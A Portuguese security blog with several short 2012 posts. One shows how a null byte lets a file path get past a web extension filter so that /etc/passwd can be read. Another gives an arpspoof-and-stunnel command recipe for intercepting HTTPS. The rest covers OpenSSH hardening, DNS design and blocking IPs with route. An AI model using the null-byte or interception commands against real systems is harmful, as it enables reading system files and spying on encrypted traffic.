sexta-feira, 20 de abril de 2012

Entendendo o byte NULL para burlar filtros WEB

O dia de trabalho esta quase acabando e gostaria de escrever algo que fosse interessante e rápido. Estava revendo alguns papers que tenho e me deparei com um artigo que falava sobre o ataque chamado de Null-byte. Não vou aprofundar neste assunto apenas uma explicação clara e direta.

Em muitos ataques em que a URL é manipulada de forma a extrair informações de um servidor vemos o uso do Null-byte (um Zero que pode ser codificado como "% 00") no final da URL. Esta técnica é usada para burlar possíveis filtros de conteúdo web.

A maioria das linguagens de programação usa o NULL para representar nada ou um valor vazio, veja abaixo como a linguagem Perl não retorna nada utilizando o byte Null:

$perl -e 'print "\x6f\x73\x76\x61\x6c\x64\x6f\x68\x70"'
osvaldohp

Veja que o valor em hexa (\x6f\x73\x76\x61\x6c\x64\x6f\x68\x70) tem como valor a palavra osvaldohp, vamos adicionar o byte NULL em hexa (\x00) para ver se ocorre algum erro:

$perl -e 'print "\x6f\x73\x76\x61\x6c\x64\x6f\x68\x70\x00"'
osvaldohp

Pronto, o resultado é o mesmo. Vimos que a linguagem Perl aceita o uso de byte Null. 

Um desenvolvedor WEB poderá criar um filtro bloqueando a execução de qualquer arquivo que não termine com ".html". No comando abaixo estaremos simulando a seguinte URL http://site_vulneravel/page.cgi?s=/etc/passwd:

$perl -e '$s = "/etc/passwd"; if ($s =~ m/\.html$/) { print "Passa" } else { print "Negar" }'
Negar

Veja que a resposta foi Negar, isso ocorre porque o arquivo requisitado (/etc/passwd) não termina com .html como diz nosso filtro ($s =~ m/\.html$/). Vamos tentar enganar o filtro:

$perl -e '$s = "/etc/passwd\x00.html"; if ($s =~ m/\.html$/) { print "Passa" } else { print "Negar" }'
Passa

Pronto, enganamos o filtro e obtivemos o Passa.

Segunda maneira de testar:

$perl -e '$s = "/etc/passwd\x00.html"; print $s; open(FH,"<$s"); while() { print }'

Com o comando acima podemos ler o arquivo (/etc/passwd) mesmo que no comando o nome de arquivo seja /etc/passwd\x00.html, que é um aquivo que não existe no sistema, mas neste caso veja que usamos o byte Null.

Bom Proveito.

DNS - split-split

Imagem do dia:



Neste cenário de DNS é possível impedir que atacantes externos da rede (Internet) envenenem o cache do DNS usado pelos recursos internos.

O DNS interno apenas faz resoluções recursivas para a LAN enquanto que o externo serve informação de domínio público e não responde à consultas recursivas.

Bom Proveito.


quinta-feira, 19 de abril de 2012

Usando o comando ROUTE para bloquear um IP

Já pensou em usar o comando route no linux para bloquear um IP? Nem sabia que isso era possível? Neste quick post vou mostrar como você pode fazer isso, dica da galera do Network NUTS.

Na imagem abaixo uso o IP do google para o nosso teste.


Agora vamos usar o comando ping para ver o que acontece:


Como podemos ver não conseguimos alcançar o IP 74.125.234.244.

Para tirar a regra basta digitar:

#route del -host 74.125.234.244 reject

Com isso conseguimos bloquear um endereço de destino, e se você quiser bloquear um endereço de origem? Simples.

#route add IP_ORIGEM gw 127.0.0.1 lo

Bom Proveito.


quarta-feira, 18 de abril de 2012

Boa Prática de Configuração para OpenSSH


Neste quick post vou mostrar algumas práticas (básicas) para um maior aproveitamento do OpenSSH tendo em mente a credibilidade e segurança do serviço.

edit sshd_config:

Protocol 2
PermitRootLogin no
Port 2222
ListenAddress 192.168.2.1
AllowUsers osvaldohp
PasswordAuthentication no <-- só aceitara autenticação com chave pública
Banner /etc/banner.txt <-- mensagem antes de autetnticar (para mensagem apos autenticação edite o arquivo /etc/motd)
StrictModes yes <-- checa permissão do home do usuário
TCPKeepAlive yes
ClientAliveCountMax 3
ClientAliveInterval 60
KeyRegenerationInterval 1800
MaxStartups 20:50:80 <-- ajuda contra DoS (start:rate:full)
SyslogFacility LOCAL0
LogLevel VERBOSE

obs: edit /etc/syslog.conf:
local0.* /var/log/sshd.log
obs: teste se o log funciona
#logger –p local0.info testmessagetolocal0


Usando o TCP Wrappers:

edit hosts.deny
sshd : ALL

edit hosts.allow
sshd : 192.168.0.

obs: logando acessos via ssh com o TCP Wrappers
sshd : 192.168.0. : spawn logger –p local0.info Mensagem


Usando Chave Publica para Autenticar

1. Criando a chave

#ssh-keygen –t dsa
(entre com a senha)

Sera gerado dois arquivos id_dsa e id_dsa.pub.

2. Copiando a chave

Copie a chave pública .pub para o servidor SSHD. O parametro AuthorizedKeysFile do arquivo /etc/ssh/sshd_confg especifica o local onde deverá ser copiado a chave, que por padrão é .ssh/authorized_keys. Depois de copiar a chave para o servidor execute no servidor:

#cat id_dsa.pub >> authorized_keys

obs: este comando tem que ser executado dentro do diretório ~/.ssh

3. reinicie o serviço
4. Testanto

ssh -i id_dsa osvaldohp@IP_SSHD -p 2222

Bom Proveito.

Dica SSHD

Uma dica bem legal para quem administra servidores com o SSHD instalado.
Se você precisa executar um script ou uma lista de comandos logo depois que um usuário se autentica você pode criar o arquivo ~/.ssh/rc e adicionar nele os comandos necessários.

O arquivo /etc/sshic faz a mesma coisa que o  ~/.ssh/rc porém os comandos serão executados antes da criação da shell.

Em caso de servidores com um link baixo use a opção -C para que todo o tráfego seja compressado.

Bom Proveito.

Imagem do dia


SSL Man-In-The-Middle

Hoje é o dia dos Quick Posts. Neste post vou mostrar como se faz um ataque de MITM em conexões seguras (HTTPS).

echo "1" > /proc/sys/net/ipv4/ip_forward
aptitude install arpspoof
arpspoof -i interface -t target gw_IP
iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination 127.0.0.1:443
stunnel -p certificate.pem -d 443 -r 8080
stunnel -c -d 8080 -r originalhost:443